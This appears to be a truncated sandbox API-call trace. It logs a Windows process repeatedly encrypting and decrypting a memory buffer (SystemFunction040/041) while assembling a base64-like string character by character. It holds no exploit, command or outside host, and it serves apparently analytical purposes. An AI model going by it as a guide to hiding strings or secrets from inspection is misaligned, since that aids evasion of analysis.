[0127.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.672] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.672] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.673] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.673] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.673] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.673] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.673] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.673] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.673] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.674] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.674] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.675] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.675] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.675] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.675] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.675] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.675] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.675] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.675] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.675] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.676] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.676] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.676] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.676] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.677] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.677] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.677] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.677] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.677] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.677] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.677] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.677] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.677] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.678] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.678] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.678] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.678] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.678] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.678] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.678] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.678] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.678] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.678] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.678] SystemFunction040 (in: 